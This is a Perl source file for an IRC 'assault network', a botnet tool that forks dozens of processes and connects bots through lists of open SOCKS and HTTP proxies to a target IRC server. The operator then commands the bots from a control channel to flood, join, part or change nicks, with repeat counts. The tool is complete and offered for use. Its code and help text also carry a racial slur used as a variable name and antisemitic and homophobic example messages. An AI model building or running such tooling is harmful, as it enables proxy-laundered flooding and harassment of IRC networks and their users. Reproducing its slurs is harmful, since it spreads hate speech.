#!/usr/bin/perl
#
#

# {{{ original copyrights & info

# This is proxysuite, written in GNU/PURL
# by Jmax, of bantown and the GNAA.
# It gathers and tests proxies, both http and socks4

# This product is licensed under the BPL.
# You should have recieved a copy of the
# license with this program

# el8 tr0ll c0dez by Jmax [ BANTOWN irc.bantown.com #bantown ] [ GNAA irc.gnaa.us #gnaa ]


# ASIAN 2.0 by Jmax
#
# I have made many modifications:
#  - Use of command line arguments as opposed to editing the script itself.
#  - Adding a SOCKS routine, instead of using Net::SOCKS (no non-standard modules will be required)
#  - Adding a random nick/fullname/ircname routine, instead of using Crypt::RandPasswd (no non-standard modules will be required)
#  - Improved fork routine/library

# Must be run on a POSIX-compliant system, with perl.
# note that there's a bug in the way that COMPUTER MACHINEZ COMPUTE,
# and therefore proxies can't be shared between forks.  Oh well.

# The original header (for historical reasons)
# is as follows (NOTE: syntax here is _incorrect_):
# -----------------------------------------------
# ASIAN by Rucas
# Automated Synchronous IRC Assault Network
# Based on AYSYN by mef
#
# Make sure to put a SOCKS5 proxy list in proxies.txt in the same
# directory as this script.  If you'd like to use tor, you can put
# the correct info on one line in proxies.txt and this app will
# still function properly (although generally tor sucks)
#
# All bots join $g_channel and are issued raw irc commands from there
# using syntax "all PRIVMSG Rucas lol you fail it" for all bots or
# "botname PRIVMSG Rucas lol failure" and such.
#
# Testing of an early version of this script is the reason that
# Freenode now checks for open SOCKS proxies.
# -----------------------------------------------

# }}}

use warnings;
use strict;

use IO::Socket;
use IO::Handle;
use POSIX qw(:signal_h :sys_wait_h);  # fork

use Time::HiRes;
# use Data::Dumper;

use vars qw($VERSION);
$VERSION = "3.0";


# {{{ globals

my ($g_forkcount, $g_pid) = (0, undef);
my ($g_dead_nigger_storage, $g_maxfork) = (0, 40);

my ($g_network, $g_channel);

# }}}

# {{{ signal handlers

$SIG{INT} = sub { kill('INT', (getpgrp(0) * -1)) && exit; };
$SIG{CHLD} = sub { $g_dead_nigger_storage++ while(($g_pid = waitpid(-1, WNOHANG)) > 0); };

# }}}


# {{{ entry point

error("please run using the --help argument") unless $ARGV[0];
if ($ARGV[0] eq '--help') {
  show_usage(); exit 0;
} elsif ($ARGV[0] eq '--version') {
  show_version(); exit 0;
} else {
  error("please run using the --help argument") unless $ARGV[1];
  $g_network = $ARGV[0];
  $g_channel = $ARGV[1];
}

# }}}

# {{{ help/usage information

sub show_help {
  print "arab $VERSION by vxp\n".
        "!!! THIS ASIAN 2.1 BY JMAX HACKED BY HIZBULLAH !!!\n".
        "!!!       STOP SUPPORTING ISRAELI DOGS         !!!\n".
        "Based on code & ideas by Jmax, Rucas, abez and mef.\n".
        "\n".
        "\n".
        "  Invocation:\n".
        "      perl ".__FILE__." server \"#channel\"\n".
        "\n".
        "    XXX, and \"#channel\" is the control channel you want the bots\n".
        "    to join. Please note that some shells will interpret the # in\n".
        "    \"#channel\" as acomment, and will not send it to the script.\n".
        "    In this case, you may either use quotes, or escape the '#'.\n".
        "    I prefer quotes.\n".
        "    Note that a list of (nick|user|real) names is expected to reside\n".
        "    in ./names.txt\n".
        "\n".
        "\n".
        "  Usage:\n".
        "      all <raw IRC command> [space-delimited arguments] :[arguments with spaces]\n".
        "      <botname> <raw IRC command> [space-delimited arguments] :[arguments with spaces]\n".
        "      <botname>,<botname2>,... <raw IRC command> [space-delimited arguments] :[arguments with spaces]\n".
        "\n".
        "    Simply privmsg your command to the control channel, and the respective bots will follow.\n".
        "\n".
        "  Examples:\n".
        "      <~supers> all join #gnaa gnaa\n".
        "        All bots will join #gnaa using the key 'gnaa'\n".
        "      <~supers> all privmsg #gnaa :LOL HY LOL HY\n".
        "        All bots will say \"LOL HY LOL HY\" in #gnaa\n".
        "      <\@Rucas> fgtbot2235 nick NOT_FGT_LOL_GIMME_VOICE\n".
        "        The bot with the nick 'fgtbot2235' will change its nick to 'NOT_FGT_LOL_GIMME_VOICE'\n".
        "      <\@Jmax> NOT_FGT_LOL_GIMME_VOICE,dongs,loljews,nullo_is_a_fag_LOL part #gnaa :lol jews\n".
        "        The bots with the nicks 'NOT_FGT_LOL_GIMME_VOICE', 'dongs', 'loljews', and 'nullo_is_a_fag_LOL'\n".
        "        will part #gnaa with reason 'lol jews'\n".
        "\n".
        "\n".
        "    Enjoy. -- vxp\n";
}

# }}}

# {{{ version information

sub show_version {
  print "arab $VERSION by vxp\n".
        "!!! THIS ASIAN 2.1 BY JMAX HACKED BY HIZBULLAH !!!\n".
        "!!!       STOP SUPPORTING ISRAELI DOGS         !!!\n".
        "Based on code & ideas by Jmax, Rucas, abez and mef.\n".
        "\n";
}

# }}}


# load the proxy and name list(s)
my @g_proxies = load_proxy_list();
my @g_names = load_name_list();


# resolve the host name of the specified target ircd
# and cache it in a shared variable
my ($g_server_host, @g_server_ip);
$g_server_host = $ARGV[0];
@g_server_ip = resolve($g_server_host);


# fork(2) off up to $g_maxfork child processes to use as
# a pool for subsequent connection attempts
notice("Initializing (forking) bots");
for ($g_forkcount = 0;                  # $g_forkcount must _not_
     $g_forkcount < $g_maxfork;         # be local to here
     $g_forkcount++) {
  sleep 1;                              # so we don't overload ourselves

  if (!defined(my $g_pid = fork())) {   # fork
    error("couldn't fork: $!");         # die if fork fails
  } elsif ($g_pid == 0) {
    # in child:
    while (@g_proxies) {
      # grab a random proxy off the list...
      my $proxy_slot = int rand @g_proxies;
      my $proxy = $g_proxies[$proxy_slot];

      # ...attempt to establish a connection through it and
      # join a drone into the control channel on success.
      if(spawn_bot($proxy->{ip}, $proxy->{port}, $proxy->{type},
                   @g_server_ip, $g_server_host)) {
        # succeeded
      } else {
        # failed, delete proxy
        # XXX: not shared
        #delete $g_proxies[$proxy_slot];
      };

      sleep 10;   # to prevent throttling by IRCd
    }
    exit 0;

  } else {
    # in parent:

  }
}

sleep while ($g_dead_nigger_storage < $g_maxfork);
exit 666;


# {{{ load lists

sub load_proxy_list {
  my (@proxies);

  error("$@") unless push @proxies, load_socks4_list();
  error("$@") unless push @proxies, load_socks5_list();
  error("$@") unless push @proxies, load_http_list();
  return @proxies;
}

sub load_socks4_list {
  my (@proxies);

  open SOCKSFILE, "<", "./socks4.txt" or error("could not open SOCKS 4 proxy file socks4.txt: $!");
  while (<SOCKSFILE>) {
    chomp;
    my ($ip, $port) = /([^:]+):([0-9]+)/;
    push @proxies, ({ip => $ip, port => $port, type => '4'});
  }
  close(SOCKSFILE) or error("could not close SOCKS 4 proxy file socks4.txt: $!");

  notice("acquired ". scalar(@proxies) ." SOCKS 4 prox(y|ies).");
  return (@proxies);
}

sub load_socks5_list {
  my (@proxies);

  open SOCKSFILE, "<", "./socks5.txt" or error("could not open SOCKS 5 proxy file socks5.txt: $!");
  while (<SOCKSFILE>) {
    chomp;
    my ($ip, $port) = /([^:]+):([0-9]+)/;
    push @proxies, ({ip => $ip, port => $port, type => '5'});
  }
  close(SOCKSFILE) or error("could not close SOCKS 5 proxy file socks5.txt: $!");

  notice("acquired ". scalar(@proxies) ." SOCKS 5 prox(y|ies).");
  return (@proxies);
}

sub load_http_list {
  my (@proxies);

  open HTTPFILE, "<", "./http.txt" or error("could not open HTTP proxy file http.txt: $!");
  while (<HTTPFILE>) {
    chomp;
    my ($ip, $port) = /([^:]+):([0-9]+)/;
    push @proxies, ({ip => $ip, port => $port, type => 'h'});
  }
  close(HTTPFILE) or error("could not close HTTP proxy file http.txt: $!");

  notice("acquired ". scalar(@proxies) ." http prox(y|ies).");
  return (@proxies);
}

sub load_name_list {
  my (@names);

  open NAMESFILE, "<", "./names.txt" or error("could not open (nick|user|real) name list file names.txt: $!");
  while (<NAMESFILE>) {
    chomp;
    push @names, $_;
  };
  close(NAMESFILE) or error("could not close (nick|user|real) name list file names.txt: $!");

  notice("acquired ". scalar(@names) ." (nick|user|real) name(|s).");
  return (@names);
}

# }}}

# {{{ wrappers/tools

sub iptoipstr {
  my ($ip) = $_;
  my $d = $ip % 256; $ip -= $d; $ip /= 256;
  my $c = $ip % 256; $ip -= $c; $ip /= 256;
  my $b = $ip % 256; $ip -= $b; $ip /= 256;
  my $a = $ip;
  my $ipstr = "$a.$b.$c.$d";
  return $ipstr;
}

sub notice {
  my $notice = shift;
  print ">>>> ". $notice ."\n";
  return;
}

sub incoming {
  my ($nick, $line, $server) = @_;
  #printf("IRCd >>>> %-12s  ] %s\n", $nick, $line);
  return;
}

sub outgoing {
  my ($nick, $line, $server) = @_;
  #printf("IRCd <<<< %-12s  ] %s\n", $nick, $line);
  return;
}

sub warning {
  my $warning = shift;
  print "!!!! ". $warning ."\n";
  return;
}

sub error {
  my $error = shift;
  print "!!!! ". $error ."\n";
  exit 0;
}

# }}}

# {{{ per-drone logic

sub spawn_bot { # only return 0 if the proxy failed.  Otherwise, return 1;
  my ($proxy_ip, $proxy_port, $proxy_type,
      $remote_ip, $remote_host) = @_;
  my $nick = $g_names[int rand @g_names];
  my ($ident, $realname) = ($nick, $nick);
  my ($line, $sock, $altsock);
  my ($pingtime) = -1;

  eval {
    local $SIG{ALRM} = sub { die "alarm\n" }; # NB: \n required
    alarm 5;
    $sock = connect_to_proxy($proxy_ip, $proxy_port, $proxy_type,
                             $remote_ip, 6667);
    alarm 0;
  };
  if ($@) {
    error("unkown error: $@") unless $@ eq "alarm\n"; # propagate unexpected errors
    #warning("$proxy_ip:$proxy_port not responding, removing from list");
    #return 0;
  }

  $sock = connect_to_proxy($proxy_ip, $proxy_port, $proxy_type,
                           $remote_ip, 6667);
  return 0 unless $sock;

  print $sock "NICK $nick\r\n";
  outgoing($nick, "NICK $nick");
  print $sock "USER $ident * * :$realname\r\n";
  outgoing($nick, "USER $ident * * :$realname");
 
  while ($line = <$sock>) {
    chomp $line;
    # MIGHT WANNA ADJUST THESE vv
    next if $line =~ /372/; # ignore motd msgs
    incoming($nick, $line);
    last if $line =~ /376|422/; # end of motd or no motd
    return 0 if $line =~ /BANNED/i;
    return 0 if $line =~ /ERROR.*G.lined/i;
    return 0 if $line =~ /ERROR.*K.lined/i;
    return 1 if $line =~ /ERROR/i;
    return 1 if $line =~ /432/;
    return 1 if $line =~ /433/;
    # MIGHT WANNA ADJUST THESE ^^
    if ($line =~ /PING (.*)$/) {
      print $sock "PONG $1\r\n";
    }
  }
  print $sock "JOIN $g_channel\r\n";
  outgoing($nick, "JOIN $g_channel");
  notice("connected to $remote_host as $nick!$ident ($proxy_ip:$proxy_port:$proxy_type)");
  while ($line = <$sock>) {
    chomp $line;
    if ($line =~ /PING (.*)$/) {
      print $sock "PONG $1\r\n";
    } elsif ($line =~ /PONG/) {
      if($pingtime != -1) {
        print $sock "PRIVMSG $g_channel :PONG received after ". Time::HiRes::tv_interval($pingtime,[Time::HiRes::gettimeofday]) ." secs\r\n";
        $pingtime = -1;
      }
    } elsif ($line =~ /PRIVMSG $g_channel :\.status/i) {
      print $sock "PRIVMSG $g_channel :I'm $nick on $remote_host via $proxy_ip:$proxy_port (type: $proxy_type)\r\n";
    } elsif ($line =~ /PRIVMSG $g_channel :\.ping/i) {
      $pingtime = [Time::HiRes::gettimeofday];
      print $sock "PING :$pingtime\r\n";
    } elsif ($line =~ /PRIVMSG $g_channel :\.randnick/i ||
             $line =~ /432/ || $line =~ /433/) {
      incoming($nick, $line);
      $nick = $g_names[int rand @g_names];
      print $sock "NICK $nick\r\n";
      outgoing($nick, "NICK $nick");
    } elsif ($line =~ /PRIVMSG $g_channel :all(\/{1}[^ ]+) (.*)$/i) {
      my ($qualifiers, $cmds) = ($1, $2);
      my (undef, $repeat) = split /\//, $qualifiers;
      $cmds =~ s/\$nick/$nick/g;
      my (@cmds) = split /;/, $cmds;
      my $current = 0;
      while ($current < $repeat) {
        foreach my $cmd (@cmds) {
          if ($cmd =~ /\.randnick/) {
            $nick = $g_names[int rand @g_names];
            print $sock "NICK $nick\r\n";
          } else {
            print $sock "$cmd\r\n";
          }
        }
        $current++;
      }
    } elsif ($line =~ /PRIVMSG $g_channel :(?:\S*|\s*)$nick(?:\S*|\s*)(\/{1}[^ ]+) (.*)$/i) {
      my ($qualifiers, $cmds) = ($1, $2);
      my (undef, $repeat) = split /\//, $qualifiers;
      if ($cmds =~ /nick (\S*)/i) {
        $nick = $1;
      }
      my (@cmds) = split /;/, $cmds;
      my $current = 0;
      while ($current < $repeat) {
        foreach my $cmd (@cmds) {
          if ($cmd =~ /\.randnick/) {
            $nick = $g_names[int rand @g_names];
            print $sock "NICK $nick\r\n";
          } else {
            print $sock "$cmd\r\n";
          }
        }
        $current++;
      }
      incoming($nick, $line);
      outgoing($nick, $cmds);
    } elsif ($line =~ /^:(.*)!.* (PRIVMSG|NOTICE) $nick :(.*)$/i) {
      my $msg = $3;
      chomp $msg;
      if($2 eq 'PRIVMSG') {
        print $sock "PRIVMSG $g_channel :<$1> $msg\r\n";
      } else {
        print $sock "PRIVMSG $g_channel :-$1- $msg\r\n";
      }
    } elsif ($line =~ /473/) {
      # (channel is +i)
      alarm 5;
      $SIG{ALRM} = sub { print $sock "JOIN $g_channel\r\n";
                         alarm 0; };
    } else {
      incoming($nick, $line);
    }
  }
}

# }}}

# {{{ proxy protocol handshakes/tunnel establishment

sub connect_to_proxy {
  my ($proxy_ip, $proxy_port, $proxy_type,
      $remote_ip, $remote_port) = @_;
  if($proxy_type eq '4') {
    return connect_to_socks4_proxy($proxy_ip, $proxy_port,
                                   $remote_ip, $remote_port);
  } elsif($proxy_type eq '5') {
    return connect_to_socks5_proxy($proxy_ip, $proxy_port,
                                   $remote_ip, $remote_port);
  } elsif($proxy_type eq 'h') {
    return connect_to_http_proxy($proxy_ip, $proxy_port,
                                 $remote_ip, $remote_port);
  } else {
    error("unknown proxy type $proxy_type ($proxy_ip:$proxy_port)");
  }
}

sub connect_to_socks4_proxy {
  # see http://socks.permeo.com/protocol/socks4.protocol
  my ($socks_ip, $socks_port, $remote_ip, $remote_port) = @_;
  my $sock = IO::Socket::INET->new(
    PeerAddr => $socks_ip,
    PeerPort => $socks_port,
    Proto  => 'tcp',
    Timeout => '8'
  );
  return unless $sock;
  $sock->autoflush(1);
  print $sock pack('CCn', 4, 1, $remote_port) . inet_aton($remote_ip) . pack('x');
  my $received = '';
  while (read($sock, $received, 8) && (length($received) < 8)) {}
  my ($vn, $cd, $listen_port, $listen_addr) = unpack('CCnN', $received);
  return unless $cd;
  if ($cd != 90) {
    return;
  }
  return $sock;
}

sub connect_to_socks5_proxy {
  my ($socks_ip, $socks_port, $remote_ip, $remote_port) = @_;
  my $sock = IO::Socket::INET->new(
    PeerAddr => $socks_ip,
    PeerPort => $socks_port,
    Proto  => 'tcp',
    Timeout => '8'
  );
  return unless $sock;
  $sock->autoflush(1);

  print $sock pack('CCC', 5, 1, 0);
  my $received = '';
  while (read($sock, $received, 2) && (length($received) < 2)) {}
  my (undef, $method) = unpack('CC', $received);
  print "received: '$received'\n";
  return if $method == 0xFF;
  print $sock pack ('CCCCNn', 5, 1, 0, 1, inet_aton($remote_ip),
                              $remote_port);
  $received = '';
  while (read($sock, $received, 2) && (length($received) < 4)) {}
  my ($vn, $rep) = unpack('CC', $received);
  if ($rep != 0) {
    return;
  }
  return $sock;
}

sub connect_to_http_proxy {
  my ($http_ip, $http_port, $remote_ip, $remote_port) = @_;
  my $sock = IO::Socket::INET->new(
    PeerAddr => $http_ip,
    PeerPort => $http_port,
    Proto  => 'tcp',
    Timeout => '8'
  );
  return unless $sock;
  $sock->autoflush(1);

  print $sock "CONNECT $remote_ip:$remote_port HTTP/1.0\r\n\r\n";
  my $received = '';
  while (read($sock, $received, 12) && (length($received) < 12)) {}
  my (undef, $response) = split / /, $received;
  return if $received eq "";
  return if $response ne '200';

  while(read($sock, $received, 1)) {
    if($received eq "\n") {
      read($sock, $received, 1);
      if($received eq "\r") {
        read($sock, $received, 1);
        return $sock;
      }
    }
  }
  return;
}

sub resolve {
  my $host = shift;
  my (undef, undef, undef, undef, @servers) = gethostbyname($host);
  unless (@servers) {
    error("cannot resolve server $host: $?");
    return 0;
  }
  my @servers_ip;
  foreach my $server (@servers) {
    my ($a, $b, $c, $d) = unpack('C4', $server);
    my $server_ip = "$a.$b.$c.$d";
    push (@servers_ip, $server_ip);
  }
  return @servers_ip;
}

# }}}

# vim:ts=2
# vim:sw=2
# vim:expandtab
# vim:foldmethod=marker